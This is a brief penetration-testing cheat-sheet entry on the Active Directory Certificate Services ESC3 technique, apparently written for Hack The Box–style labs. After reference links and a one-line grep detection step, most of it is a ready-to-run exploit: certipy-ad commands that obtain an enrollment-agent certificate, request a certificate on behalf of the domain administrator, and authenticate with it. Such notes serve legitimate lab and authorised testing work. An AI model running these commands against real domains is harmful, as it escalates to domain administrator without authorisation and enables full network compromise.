ESC3

ESC3 — Enrollment Agent (Certificate Request Agent EKU)

External: Hacker Recipes — ESC3

External: Internal All The Things — Certificate ESC3

Idea: Template grants Certificate Request Agent → use cert to request another cert on behalf of DA.

Detect

grep -i ESC3 *_Certipy.txt

Exploit

# Step 1 — agent cert
certipy-ad req -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
  -ca CA_NAME -template ENROLLMENT_AGENT_TEMPLATE
 
# Step 2 — on behalf of administrator
certipy-ad req \
  -u user@domain.htb -p 'PASS' \
  -pfx user.pfx \
  -ca CA_NAME -template User \
  -on-behalf-of 'domain\administrator' \
  -target dc01.domain.htb \
  -dc-ip DC_IP
 
certipy-ad auth -pfx administrator.pfx -dc-ip DC_IP

→ Certipy & Certify > req — on-behalf-of (ESC3 — enrollment agent) · AD CS ESC